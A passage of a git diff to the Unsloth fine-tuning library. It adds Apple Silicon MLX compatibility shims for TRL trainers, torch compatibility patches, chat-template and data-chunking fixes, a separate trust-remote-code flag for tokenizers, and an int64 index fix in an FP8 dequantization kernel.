+                model = trainer_kwargs.get("model"),
+                max_seq_length_explicit = (trainer_kwargs.get("max_seq_length") is not None),
+            )
+
+            super().__init__(**trainer_kwargs)
+            self.processing_class = (
+                processing_class
+                if processing_class is not None
+                else self.processor or self.tokenizer
+            )
+            if trainer_kwargs.get("max_seq_length") is not None:
+                _set_mlx_cuda_style_context_length(
+                    self.args,
+                    self.args.max_seq_length,
+                )
+            self._unsloth_mlx_ignored_trainer_kwargs = ignored_kwargs
+
     class UnslothVisionDataCollator:
+        def __init__(
+            self,
+            model = None,
+            processor = None,
+            *args,
+            **kwargs,
+        ):
+            explicit_kwargs = set(kwargs)
+            if len(args) > len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS):
+                raise TypeError(
+                    "UnslothVisionDataCollator on MLX accepts at most "
+                    f"{len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS)} positional "
+                    "options after model and processor."
+                )
+            for key, value in zip(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS, args):
+                if key in kwargs:
+                    raise TypeError(
+                        f"UnslothVisionDataCollator got multiple values for argument {key!r}"
+                    )
+                kwargs[key] = value
+                explicit_kwargs.add(key)
+            if "completion_only_loss" not in kwargs:
+                kwargs["completion_only_loss"] = True
+            self.model = model
+            self.processor = processor
+            self.args = ()
+            self.kwargs = kwargs
+            self._unsloth_mlx_explicit_kwargs = explicit_kwargs
+
+        def __call__(self, features):
+            raise NotImplementedError(
+                "Unsloth: UnslothVisionDataCollator is a compatibility placeholder "
+                "on MLX. Pass the dataset to UnslothTrainer; MLXTrainer performs "
+                "vision batching internally."
+            )
+
+    def get_chat_template(*args, **kwargs):
+        """Apply an Unsloth chat template through a lazy MLX-safe import."""
+        from .chat_templates import get_chat_template as _get_chat_template
+        return _get_chat_template(*args, **kwargs)
+
+    def apply_chat_template(*args, **kwargs):
+        """Format a dataset with an Unsloth chat template through a lazy import."""
+        from .chat_templates import apply_chat_template as _apply_chat_template
+        return _apply_chat_template(*args, **kwargs)
+
+    def standardize_data_formats(*args, **kwargs):
+        """Normalize ShareGPT-style datasets through the shared zoo helper."""
+        from unsloth_zoo.dataset_utils import standardize_data_formats as _standardize_data_formats
+        return _standardize_data_formats(*args, **kwargs)
+
+    def standardize_sharegpt(*args, **kwargs):
+        """Alias ShareGPT standardization to the shared dataset-format helper."""
+        return standardize_data_formats(*args, **kwargs)
+
+    def train_on_responses_only(*args, **kwargs):
+        """Mask non-response tokens through the shared zoo dataset helper."""
+        from unsloth_zoo.dataset_utils import train_on_responses_only as _train_on_responses_only
+        return _train_on_responses_only(*args, **kwargs)
+
+    def _safe_mlx_trl_star_exports(_trl):
+        """Return importable TRL star exports plus the MLX SFT shims."""
+        exports = list(getattr(_trl, "__all__", ()))
+        safe_exports = []
+        for name in exports:
+            try:
+                getattr(_trl, name)
+            except Exception:
+                continue
+            safe_exports.append(name)
+        for name in ("SFTConfig", "SFTTrainer"):
+            if name not in safe_exports:
+                safe_exports.append(name)
+        return safe_exports
+
+    # trl trainers with no MLX implementation yet. Swap them for stubs that fail
+    # with a clear message instead of importing the real torch/CUDA trainer and
+    # crashing deep inside it, so an unmigrated GRPO/DPO/ORPO notebook is legible.
+    _MLX_UNSUPPORTED_TRL_TRAINERS = (
+        "GRPOTrainer",
+        "DPOTrainer",
+        "ORPOTrainer",
+        "KTOTrainer",
+        "PPOTrainer",
+        "RewardTrainer",
+    )
+
+    def _make_mlx_unsupported_trl_trainer(name):
         def __init__(self, *args, **kwargs):
             raise NotImplementedError(
-                "Unsloth: UnslothVisionDataCollator is not used on MLX. "
-                "Use the MLX trainer/data path instead."
+                f"Unsloth: {name} is not yet supported on the MLX (Apple Silicon) "
+                f"backend. Only SFT training runs on MLX today; use a CUDA/ROCm GPU "
+                f"for {name}."
             )
 
+        return type(name, (), {"__init__": __init__, "_unsloth_mlx_unsupported": True})
+
+    class _MLXSFTConfig(UnslothTrainingArguments):
+        """`trl.SFTConfig` alias that keeps TRL's default training length.
+
+        TRL/HF SFTConfig defaults to num_train_epochs=3 (max_steps=-1); the
+        native MLX config defaults to max_steps=60. An unmigrated notebook that
+        builds SFTConfig without an explicit length would otherwise silently run
+        60 MLX steps under this alias, so seed the TRL epoch default when neither
+        max_steps nor num_train_epochs is given (epoch mode is MLX-supported).
+        """
+
+        def __init__(self, *args, **kwargs):
+            keys = set(kwargs)
+            if len(args) == 1 and isinstance(args[0], dict):
+                keys |= set(args[0])
+            if not ({"max_steps", "num_train_epochs"} & keys):
+                kwargs.setdefault("num_train_epochs", 3)
+            super().__init__(*args, **kwargs)
+
+    def _install_mlx_trl_sft_shim():
+        """Install MLX-backed TRL SFT shims without replacing the TRL module."""
+        _trl = _sys.modules.get("trl")
+        if _trl is None:
+            try:
+                import trl as _trl
+            except ImportError:
+                _trl = _types.ModuleType("trl")
+                _trl.__version__ = "0.0.0+unsloth-mlx"
+                _trl.__package__ = "trl"
+                _trl.__path__ = []
+                _trl.__spec__ = _machinery.ModuleSpec("trl", loader = None, is_package = True)
+                _sys.modules["trl"] = _trl
+
+        _trl.SFTTrainer = UnslothTrainer
+        _trl.SFTConfig = _MLXSFTConfig
+        # Only retarget trainers the installed trl actually exposes (don't invent
+        # attributes); idempotent so re-importing unsloth is a no-op.
+        # Decide what to stub from trl's declared exports (__all__) and already
+        # materialized attrs only. A getattr probe here would trigger trl's lazy
+        # trainer import, pulling torch and breaking `import unsloth` on torch-free
+        # MLX just to check existence.
+        _trl_exports = set(getattr(_trl, "__all__", ()) or ())
+        # Stub every non-SFT trainer trl exposes, not just a fixed list, so newer
+        # trainers (RLOOTrainer, ...) also fail with a clear MLX message instead
+        # of importing the real torch trainer. Names come from __all__ so we never
+        # resolve them (that would trigger trl's lazy import and pull torch).
+        _unsupported = set(_MLX_UNSUPPORTED_TRL_TRAINERS) | {
+            _n for _n in _trl_exports if _n.endswith("Trainer") and _n != "SFTTrainer"
+        }
+        for _name in _unsupported:
+            _current = vars(_trl).get(_name)
+            if getattr(_current, "_unsloth_mlx_unsupported", False):
+                continue
+            if _name in _trl_exports or _current is not None:
+                setattr(_trl, _name, _make_mlx_unsupported_trl_trainer(_name))
+        _trl.__all__ = _safe_mlx_trl_star_exports(_trl)
+        _trl.__UNSLOTH_MLX_COMPAT__ = True
+
+    def _install_mlx_unsloth_trainer_shim():
+        module_name = f"{__name__}.trainer"
+        _trainer = _types.ModuleType(module_name)
+        _trainer.__package__ = __name__
+        _trainer.__spec__ = _machinery.ModuleSpec(module_name, loader = None)
+        _trainer.MLXTrainer = MLXTrainer
+        _trainer.MLXTrainingConfig = MLXTrainingConfig
+        _trainer.UnslothTrainer = UnslothTrainer
+        _trainer.UnslothTrainingArguments = UnslothTrainingArguments
+        _trainer.UnslothVisionDataCollator = UnslothVisionDataCollator
+        _sys.modules[module_name] = _trainer
+        globals()["trainer"] = _trainer
+
+    _install_mlx_trl_sft_shim()
+    _install_mlx_unsloth_trainer_shim()
+
 else:
     # GPU path: load everything from _gpu_init
     from ._gpu_init import *
     from ._gpu_init import __version__
+
+    def get_gpu_memory_stats():
+        """Return CUDA/ROCm/XPU device stats, peak memory, and total memory in GiB."""
+        try:
+            import torch
+            if hasattr(torch, "xpu") and torch.xpu.is_available():
+                props = torch.xpu.get_device_properties(0)
+                peak = (
+                    torch.xpu.max_memory_reserved()
+                    if hasattr(torch.xpu, "max_memory_reserved")
+                    else torch.xpu.max_memory_allocated()
+                )
+                total = getattr(props, "total_memory", 0)
+                return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0
+            if hasattr(torch, "cuda") and torch.cuda.is_available():
+                props = torch.cuda.get_device_properties(0)
+                peak = torch.cuda.max_memory_reserved()
+                total = getattr(props, "total_memory", 0)
+                return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0
+        except Exception:
+            pass
+        stats = _UnslothDeviceStats("Unknown GPU", 0)
+        return stats, 0.0, 1.0
+
+    def clear_gpu_memory():
+        """Clear cached GPU memory on CUDA, ROCm, or XPU when available."""
+        try:
+            import torch
+            if hasattr(torch, "xpu") and torch.xpu.is_available():
+                torch.xpu.empty_cache()
+            elif hasattr(torch, "cuda") and torch.cuda.is_available():
+                torch.cuda.empty_cache()
+        except Exception:
+            pass
diff --git a/unsloth/_compressed_quantize.py b/unsloth/_compressed_quantize.py
index 66ebdd75da..8f7ed6e09e 100644
--- a/unsloth/_compressed_quantize.py
+++ b/unsloth/_compressed_quantize.py
@@ -203,6 +203,7 @@ def main():
     ap.add_argument("--max-seq-length", type = int, default = 2048)
     ap.add_argument("--is-vlm", action = "store_true")
     ap.add_argument("--trust-remote-code", action = "store_true")
+    ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")
     ap.add_argument("--variant", default = "", help = "weight-filename variant for the output shards")
     args = ap.parse_args()
 
@@ -232,7 +233,11 @@ def main():
     model.eval()
     # A tokenizer may be absent if the caller saved it separately; only calibration needs one.
     try:
-        tokenizer = auto_proc.from_pretrained(args.model, trust_remote_code = args.trust_remote_code)
+        # The tokenizer/processor has its own trust flag: consent for one component must not
+        # let the other's custom code run.
+        tokenizer = auto_proc.from_pretrained(
+            args.model, trust_remote_code = args.trust_remote_code_tokenizer
+        )
     except Exception:
         if args.needs_calibration:
             raise RuntimeError(
@@ -245,6 +250,10 @@ def main():
     # expert even if the sample set does not route tokens to all of them.
     is_moe = _is_moe(getattr(model, "config", None))
     ignore = ["lm_head"]
+    # Skip the same modules RedHatAI/NVIDIA skip for the Qwen3.5 / Qwen3-Next family (these also have
+    # shapes not divisible by the grouped-scheme group_size, which would otherwise error). No-ops
+    # elsewhere. Hybrid linear attention, VLM vision tower, and the MTP/speculative head.
+    ignore += ["re:.*\\.linear_attn\\..*", "re:.*\\.visual\\..*", "re:.*mtp.*"]
     if is_moe:
         # Keep MoE routing layers unquantized: the router gate and (Qwen) shared-expert gate.
         ignore += ["re:.*\\.gate$", "re:.*\\.shared_expert_gate$"]
diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index e39b44488a..984057e9f7 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -26,6 +26,7 @@ already_imported = [mod for mod in critical_modules if mod in sys.modules]
 # Fix some issues before importing other packages
 from .import_fixes import (
     fix_message_factory_issue,
+    fix_torch_check_is_size,
     check_fbgemm_gpu_version,
     disable_broken_causal_conv1d,
     disable_broken_vllm,
@@ -72,6 +73,7 @@ fix_bitsandbytes_rocm_arch_detection()
 disable_broken_causal_conv1d()
 disable_broken_vllm()
 fix_message_factory_issue()
+fix_torch_check_is_size()
 check_fbgemm_gpu_version()
 torchvision_compatibility_check()
 fix_diffusers_warnings()
@@ -81,6 +83,7 @@ del fix_bitsandbytes_rocm_arch_detection
 del disable_broken_causal_conv1d
 del disable_broken_vllm
 del fix_message_factory_issue
+del fix_torch_check_is_size
 del check_fbgemm_gpu_version
 del torchvision_compatibility_check
 del fix_diffusers_warnings
@@ -173,6 +176,7 @@ from .import_fixes import (
     fix_vllm_guided_decoding_params,
     fix_vllm_pdl_blackwell,
     fix_triton_compiled_kernel_missing_attrs,
+    fix_dynamo_config_thread_visibility,
     patch_trunc_normal_precision_issue,
     ignore_logger_messages,
     patch_ipykernel_hf_xet,
@@ -203,6 +207,10 @@ fix_vllm_guided_decoding_params()
 fix_trl_vllm_ascend()
 fix_vllm_pdl_blackwell()
 fix_triton_compiled_kernel_missing_attrs()
+# Must run before unsloth_zoo's patch_torch_compile and the gpt-oss temporary
+# patches raise the dynamo recompile limits, so those settings reach the
+# autograd worker threads on torch >= 2.12.
+fix_dynamo_config_thread_visibility()
 patch_trunc_normal_precision_issue()
 ignore_logger_messages()
 patch_ipykernel_hf_xet()
@@ -233,6 +241,7 @@ del fix_vllm_guided_decoding_params
 del fix_trl_vllm_ascend
 del fix_vllm_pdl_blackwell
 del fix_triton_compiled_kernel_missing_attrs
+del fix_dynamo_config_thread_visibility
 del patch_trunc_normal_precision_issue
 del ignore_logger_messages
 del patch_ipykernel_hf_xet
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index 60eb8de5d7..2d3674fb04 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -27,18 +27,25 @@ __all__ = [
     "test_construct_chat_template",
 ]
 
-from transformers import StoppingCriteria, StoppingCriteriaList
-from torch import LongTensor, FloatTensor
-from transformers.models.llama.modeling_llama import logger
+from transformers.utils import logging
+try:
+    from torch import LongTensor, FloatTensor
+except ImportError:
+    LongTensor = FloatTensor = None
+logger = logging.get_logger(__name__)
 import os
 import shutil
-from .tokenizer_utils import *
 import re
 from .ollama_template_mappers import OLLAMA_TEMPLATES
-from unsloth_zoo.dataset_utils import (
-    train_on_responses_only,
-    standardize_data_formats,
-)
+try:
+    from unsloth_zoo.dataset_utils import (
+        train_on_responses_only,
+        standardize_data_formats,
+    )
+except ImportError:
+    # dataset_utils pulls torch; keep chat_templates importable on torch-free
+    # (MLX) hosts, which expose these via the backend-specific wrappers instead.
+    train_on_responses_only = standardize_data_formats = None
 standardize_sharegpt = standardize_data_formats
 CHAT_TEMPLATES = {}
 DEFAULT_SYSTEM_MESSAGE = {}
@@ -1838,11 +1845,24 @@ def get_chat_template(
     map_eos_token = True,
     system_message = None,
     patch_saving = True,
-    use_zoo_tokenizer_patch = False,
+    use_zoo_tokenizer_patch = None,
 ):
     assert(type(map_eos_token) is bool)
+    import sys
+    is_mlx_backend = getattr(sys.modules.get("unsloth"), "DEVICE_TYPE", None) == "mlx"
+    if use_zoo_tokenizer_patch is None:
+        use_zoo_tokenizer_patch = is_mlx_backend
     old_tokenizer = tokenizer
 
+    # mlx-lm's TokenizerWrapper._tokenizer is the HF tokenizer, not the Rust
+    # backend the vocab-edit paths below need; unwrap here, re-wrap before return.
+    _mlx_tokenizer_wrapper = None
+    if is_mlx_backend and tokenizer.__class__.__name__ == "TokenizerWrapper":
+        _inner_tokenizer = getattr(tokenizer, "_tokenizer", None)
+        if _inner_tokenizer is not None and hasattr(_inner_tokenizer, "is_fast"):
+            _mlx_tokenizer_wrapper = tokenizer
+            tokenizer = _inner_tokenizer
+
     IS_GEMMA = False
     if tokenizer.__class__.__name__.startswith("Gemma"):
         if chat_template == "chatml": chat_template = "gemma_chatml"
@@ -1952,6 +1972,7 @@ def get_chat_template(
                 pass
 
                 # Must fix the sentence piece tokenizer since there's no tokenizer.model file!
+                from .tokenizer_utils import fix_sentencepiece_tokenizer
                 tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,)
             else:
                 pass
@@ -1997,6 +2018,7 @@ def get_chat_template(
 
             # Must fix the sentence piece tokenizer since there's no tokenizer.model file!
             token_mapping = { old_eos_token : stop_word, }
+            from .tokenizer_utils import fix_sentencepiece_tokenizer
             tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,)
         pass
 
@@ -2057,20 +2079,33 @@ def get_chat_template(
     # stopping_criteria = create_stopping_criteria(tokenizer, stop_word)
 
     # Patch saving functions
-    if patch_saving:
+    if patch_saving and not is_mlx_backend:
         from .save import patch_saving_functions
         tokenizer = patch_saving_functions(tokenizer)
 
     # Add Ollama
     tokenizer._ollama_modelfile = ollama_modelfile
     tokenizer._system_message   = system_message
+
+    # Re-wrap so the trainer gets the same TokenizerWrapper type back.
+    if _mlx_tokenizer_wrapper is not None:
+        _mlx_tokenizer_wrapper._tokenizer = tokenizer
+        eos_token_id = getattr(tokenizer, "eos_token_id", None)
+        if eos_token_id is not None:
+            _mlx_tokenizer_wrapper._eos_token_ids = {eos_token_id}
+        _mlx_tokenizer_wrapper._chat_template = None
+        _mlx_tokenizer_wrapper.has_chat_template = (
+            getattr(tokenizer, "chat_template", None) is not None
+        )
+        tokenizer = _mlx_tokenizer_wrapper
     return tokenizer#, stopping_criteria
 
 
 def remove_special_tokens(tokenizer, prompt):
     # Removes double BOS token
-    if prompt.startswith(tokenizer.bos_token):
-        prompt = prompt[len(tokenizer.bos_token):]
+    bos_token = getattr(tokenizer, "bos_token", None)
+    if bos_token is not None and prompt.startswith(bos_token):
+        prompt = prompt[len(bos_token):]
     return prompt
 
 
@@ -2151,7 +2186,16 @@ def _create_formatter(possible_columns, final_optional_prompts, user_column_name
 
         texts = []
         for row_idx in range(n_rows):
-            row_values = {column: examples[column][row_idx] for column in columns}
+            # Coerce missing (None) columns to "" so they do not render as the
+            # literal string "None" in the emitted text. In a [[...]] block only
+            # the first column gates the block, so a later column can still be
+            # None here; required columns can be None too. Coercing at the source
+            # covers both; since None is now "", the gate below only needs to
+            # test for "" (an empty first column still drops the block).
+            row_values = {
+                column: ("" if (value := examples[column][row_idx]) is None else value)
+                for column in columns
+            }
             formatter_values = {}
 
             for formatter_template in formatter_templates:
@@ -2162,7 +2206,7 @@ def _create_formatter(possible_columns, final_optional_prompts, user_column_name
                     continue
 
                 _, optional_name, prompt, needed_columns = formatter_template
-                if row_values[needed_columns[0]] not in (None, ""):
+                if row_values[needed_columns[0]] != "":
                     prompt_values = {column: row_values[column] for column in needed_columns}
                     formatter_values[optional_name] = prompt.format(**prompt_values)
                 else:
@@ -2749,6 +2793,15 @@ extra_eos_tokens = None,
 
 
 def create_stopping_criteria(tokenizer, stop_word = "eos_token"):
+    try:
+        import torch
+        from transformers import StoppingCriteria, StoppingCriteriaList
+    except ImportError as exc:
+        raise ImportError(
+            "Unsloth: create_stopping_criteria requires PyTorch and is only "
+            "supported on Torch backends."
+        ) from exc
+
     class StoppingCriteriaSub(StoppingCriteria):
         __slots__ = "stop_token", "single_match", "length",
 
@@ -2828,10 +2881,10 @@ def test_chat_templates():
     for j in range(len(messages)-1):
         correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"])
     correct_prompt.append_message(correct_prompt.roles[1], "")
-    correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt()
 
     template = vicuna_template
     correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5")
+    correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt()
     correct_tokenizer.chat_template = template
     our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True)
     assert(correct_prompt == our_prompt)
@@ -2845,10 +2898,10 @@ def test_chat_templates():
     for j in range(len(messages)-1):
         correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"])
     correct_prompt.append_message(correct_prompt.roles[1], "")
-    correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt()
 
     template = vicuna_old_template
     correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5")
+    correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt()
     correct_tokenizer.chat_template = template
     our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True)
     # We add </s> ourselves
diff --git a/unsloth/dataprep/raw_text.py b/unsloth/dataprep/raw_text.py
index 7d18b1ff29..128d966ecd 100644
--- a/unsloth/dataprep/raw_text.py
+++ b/unsloth/dataprep/raw_text.py
@@ -132,6 +132,13 @@ class RawTextDataLoader:
         3. Maintains context with stride overlap
         4. Returns tokenized chunks directly (more efficient) or text chunks
         """
+        if chunk_size <= 0:
+            raise ValueError(f"chunk_size must be positive, got {chunk_size}")
+        if stride >= chunk_size:
+            raise ValueError(
+                f"stride ({stride}) must be smaller than chunk_size ({chunk_size}) to progress the chunking loop"
+            )
+
         # Tokenize the whole text once for accurate token counts
         tokenized = self.tokenizer(text, return_tensors = "pt", add_special_tokens = False)
         tokens = tokenized["input_ids"]
@@ -147,9 +154,9 @@ class RawTextDataLoader:
         if len(tokens) <= chunk_size:
             # Fits in a single chunk
             if return_tokenized:
+                tokens = tokens.tolist() if hasattr(tokens, "tolist") else list(tokens)
                 eos_token_id = getattr(self.tokenizer, "eos_token_id", None)
                 if eos_token_id is not None:
-                    tokens = tokens.tolist() if hasattr(tokens, "tolist") else list(tokens)
                     tokens.append(eos_token_id)
 
                 attention_mask = [1] * len(tokens)
diff --git a/unsloth/dataprep/synthetic.py b/unsloth/dataprep/synthetic.py
index 10690810fe..9c529d5a03 100644
--- a/unsloth/dataprep/synthetic.py
+++ b/unsloth/dataprep/synthetic.py
@@ -391,7 +391,7 @@ class SyntheticDataKit:
         assert os.path.exists(filename)
         assert hasattr(self, "tokenizer")
         if not hasattr(self, "max_seq_length"):
-            raise RuntimeError("Please use SynthetidDataKit.from_pretrained(...) first!")
+            raise RuntimeError("Please use SyntheticDataKit.from_pretrained(...) first!")
         if not hasattr(self, "overlap") or not hasattr(self, "max_generation_tokens"):
             raise RuntimeError("Please use prepare_qa_generation first!")
 
@@ -425,8 +425,13 @@ class SyntheticDataKit:
         else:
             # length > max_tokens > overlap here, so length - overlap > 0 and the
             # linspace boundaries below are always non-negative.
-            n_chunks = int(np.ceil(length / (max_tokens - self.overlap)))
-            boundaries = np.ceil(np.linspace(0, length - self.overlap, n_chunks)).astype(int)
+            # Minimal count: overlapping chunks cover `length` in
+            # ceil((length - overlap) / stride) chunks, not ceil(length / stride)
+            # which over-splits just past a stride multiple.
+            n_chunks = int(np.ceil((length - self.overlap) / (max_tokens - self.overlap)))
+            # n_chunks + 1 points: [:-1]/[1:] pairing yields n_chunks ranges; using
+            # n_chunks points gave one fewer, oversized chunk (over max_tokens).
+            boundaries = np.ceil(np.linspace(0, length - self.overlap, n_chunks + 1)).astype(int)
             boundaries = np.stack((boundaries[:-1], (boundaries + self.overlap)[1:])).T
             boundaries = np.minimum(boundaries, length).tolist()
 
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index e5a5d01c2f..09de248c7b 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -172,6 +172,10 @@ if not UNSLOTH_ENABLE_LOGGING:
     # Deprecation warnings from torchao
     warnings.filterwarnings("ignore", message = "`int4_weight_only` is deprecated")
     warnings.filterwarnings("ignore", message = "`int8_weight_only` is deprecated")
+    # torch._check_is_size FutureWarning (called by bitsandbytes 4-bit dequant)
+    warnings.filterwarnings(
+        "ignore", message = r"_check_is_size will be removed", category = FutureWarning
+    )
 
     # TorchAO deprecated import paths (https://github.com/pytorch/ao/issues/2752)
     warnings.filterwarnings(
@@ -253,6 +257,30 @@ if not UNSLOTH_ENABLE_LOGGING:
     )
 
 
+def fix_torch_check_is_size():
+    """Shim torch._check_is_size if a future torch removes it (bitsandbytes 4-bit
+    dequant calls it). The FutureWarning is silenced in suppress_cuda_printf."""
+    try:
+        import torch
+
+        if hasattr(torch, "_check_is_size"):
+            return
+
+        def _check_is_size(
+            i,
+            message = None,
+            *,
+            max = None,
+        ):
+            torch._check(i >= 0, message)
+            if max is not None:
+                torch._check(i <= max, message)
+
+        torch._check_is_size = _check_is_size
+    except Exception:
+        return
+
+
 # Fix up AttributeError: 'MessageFactory' object has no attribute 'GetPrototype'
 # MUST do this at the start primarily due to tensorflow causing issues
 def fix_message_factory_issue():
@@ -1064,6 +1092,135 @@ def fix_triton_compiled_kernel_missing_attrs():
     )
 
 
+def fix_dynamo_config_thread_visibility():
+    """torch 2.12 made torch._dynamo/_inductor config overrides thread-local
+    (ContextVars), so `config.recompile_limit = 1024` set on the main thread is
+    invisible to the autograd worker threads that run backward. Gradient
+    checkpointing recompiles fullgraph gpt-oss kernels there against the default
+    limit of 8, raising FailOnRecompileLimitHit at step 0. Mirror direct config
+    assignments into the process-global entry default (torch <= 2.11 semantics).
+    config.patch(...) and config.load_config(...) also assign via __setattr__ but
+    are thread-local by design, so skip mirroring while inside one (tracked per
+    thread). No-op below torch 2.12 and on any torch without this internal layout.
+    """
+    try:
+        import torch
+
+        if Version(torch.__version__) < Version("2.12.0"):
+            return
+        import torch._dynamo.config as _dynamo_config
+        from torch.utils._config_module import ConfigModule
+        from contextvars import ContextVar
+    except Exception:
+        return
+
+    try:
+        probe = getattr(_dynamo_config, "_config", {}).get("recompile_limit", None)
+        if probe is None or not isinstance(getattr(probe, "user_override", None), ContextVar):
+            # Overrides are not context-local on this torch; nothing to fix.
+            return
+        original_setattr = ConfigModule.__setattr__
+        if getattr(original_setattr, "__unsloth_patched__", False):
+            return
+    except Exception:
+        return
+
+    mirrored_modules = ("torch._dynamo.config", "torch._inductor.config")
+
+    # config.patch(...) and config.load_config(...) also assign via __setattr__, but
+    # their writes are thread-local by design; a per-thread depth counter marks them
+    # so they are not mirrored into the process-global default.
+    import threading
+
+    _scoped_depth = threading.local()
+
+    def _in_scoped_write():
+        return getattr(_scoped_depth, "n", 0) > 0
+
+    def _bump(delta):
+        _scoped_depth.n = getattr(_scoped_depth, "n", 0) + delta
+
+    original_patch = ConfigModule.patch
+    if not getattr(original_patch, "__unsloth_patched__", False):
+
+        @functools.wraps(original_patch)
+        def _patched_patch(self, *args, **kwargs):
+            ctx = original_patch(self, *args, **kwargs)
+            try:
+                cls = type(ctx)  # patch() builds a fresh ConfigPatch class each call
+                if not getattr(cls, "__unsloth_patch_wrapped__", False):
+                    _enter0, _exit0 = cls.__enter__, cls.__exit__
+
+                    def _enter(s, _e = _enter0):
+                        _bump(1)
+                        try:
+                            return _e(s)
+                        finally:
+                            _bump(-1)
+
+                    def _exit(
+                        s,
+                        *a,
+                        _x = _exit0,
+                    ):
+                        _bump(1)
+                        try:
+                            return _x(s, *a)
+                        finally:
+                            _bump(-1)
+
+                    cls.__enter__, cls.__exit__ = _enter, _exit
+                    cls.__unsloth_patch_wrapped__ = True
+            except Exception:
+                pass
+            return ctx
+
+        _patched_patch.__unsloth_patched__ = True
+        ConfigModule.patch = _patched_patch
+
+    # load_config restores a saved config by calling setattr per key (thread-local).
+    original_load_config = getattr(ConfigModule, "load_config", None)
+    if callable(original_load_config) and not getattr(
+        original_load_config, "__unsloth_patched__", False
+    ):
+
+        @functools.wraps(original_load_config)
+        def _patched_load_config(self, *args, **kwargs):
+            _bump(1)
+            try:
+                return original_load_config(self, *args, **kwargs)
+            finally:
+                _bump(-1)
+
+        _patched_load_config.__unsloth_patched__ = True
+        ConfigModule.load_config = _patched_load_config
+
+    @functools.wraps(original_setattr)
+    def _patched_setattr(self, name, value):
+        original_setattr(self, name, value)
+        if _in_scoped_write():
+            return  # transient patch / load_config write: keep it thread-local
+        # Aliases (cache_size_limit -> recompile_limit) re-enter with the real name.
+        if self.__dict__.get("__name__", None) in mirrored_modules:
+            try:
+                entry = self.__dict__["_config"].get(name, None)
+                if entry is not None and entry.alias is None:
+                    entry.default = value
+            except Exception:
+                pass
+
+    _patched_setattr.__unsloth_patched__ = True
+    ConfigModule.__setattr__ = _patched_setattr
+
+    # No replay of existing overrides: unsloth installs this before it sets any
+    # dynamo/inductor config, so the wrapper mirrors every later assignment. Replaying
+    # would also bake a still-active config.patch override into the global default.
+    logger.info(
+        "Unsloth: Patched torch config modules so dynamo/inductor settings "
+        "(e.g. recompile_limit) apply across threads on torch >= 2.12."
+    )
+
+
 def patch_trunc_normal_precision_issue():
     """
     Patch torch.nn.init.trunc_normal_ for low precision tensors to run init in fp32.
@@ -1323,8 +1480,7 @@ def fix_vllm_pdl_blackwell():
 
     if patched:
         logger.info(
-            f"Unsloth: Applied PDL fix for SM100 ({sm100_gpu_name}) - "
-            f"patched: {', '.join(patched)}"
+            f"Unsloth: Applied PDL fix for SM100 ({sm100_gpu_name}) - patched: {', '.join(patched)}"
         )
     else:
         # Just set the env var - vLLM might be an older version without supports_pdl
diff --git a/unsloth/kernels/cross_entropy_loss.py b/unsloth/kernels/cross_entropy_loss.py
index 39446ec639..0d3bf08c35 100644
--- a/unsloth/kernels/cross_entropy_loss.py
+++ b/unsloth/kernels/cross_entropy_loss.py
@@ -285,9 +285,6 @@ _cross_entropy_backward = triton.heuristics(
 )(_cross_entropy_backward)
 
 
-MAX_FUSED_SIZE = 65536  # 2**16
-
-
 class Fast_CrossEntropyLoss(torch.autograd.Function):
     @staticmethod
     def forward(
diff --git a/unsloth/kernels/fp8.py b/unsloth/kernels/fp8.py
index ca608fa01b..7a57f91ce1 100644
--- a/unsloth/kernels/fp8.py
+++ b/unsloth/kernels/fp8.py
@@ -12,6 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 import os
+from contextlib import nullcontext
 import torch
 import torch.nn as nn
 import triton
@@ -24,6 +25,15 @@ from unsloth_zoo.temporary_patches.common import torch_compile
 
 torch_matmul = torch.matmul
 
+
+def _fp8_triton_device_context(tensor: torch.Tensor):
+    if tensor.device.type == "cuda" and torch.cuda.device_count() > 1:
+        return torch.cuda.device(tensor.device)
+    if tensor.device.type == "xpu" and hasattr(torch, "xpu") and torch.xpu.device_count() > 1:
+        return torch.xpu.device(tensor.device)
+    return nullcontext()
+
+
 try:
     from transformers.integrations.finegrained_fp8 import FP8Linear
 except:
@@ -32,6 +42,11 @@ except:
         "Unsloth: FP8 models need importing FP8Linear from `transformers.integrations.finegrained_fp8` but we don't see it."
     )
 
+try:
+    from transformers.integrations.finegrained_fp8 import FP8GroupedLinear
+except:
+    FP8GroupedLinear = None
+
 try:
     from transformers.integrations.fbgemm_fp8 import FbgemmFp8Linear
 except:
@@ -68,7 +83,9 @@ def weight_dequant_kernel(x_ptr, s_ptr, y_ptr, M, N, BLOCK_SIZE: tl.constexpr):
     n = tl.cdiv(N, BLOCK_SIZE)
     offs_m = pid_m * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
     offs_n = pid_n * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
-    offs = offs_m[:, None] * N + offs_n[None, :]
+    # tl.arange is int32, so offs_m * N overflows for tensors with more than
+    # 2**31 elements (e.g. flattened MoE expert stacks); index in int64.
+    offs = offs_m[:, None].to(tl.int64) * N + offs_n[None, :].to(tl.int64)
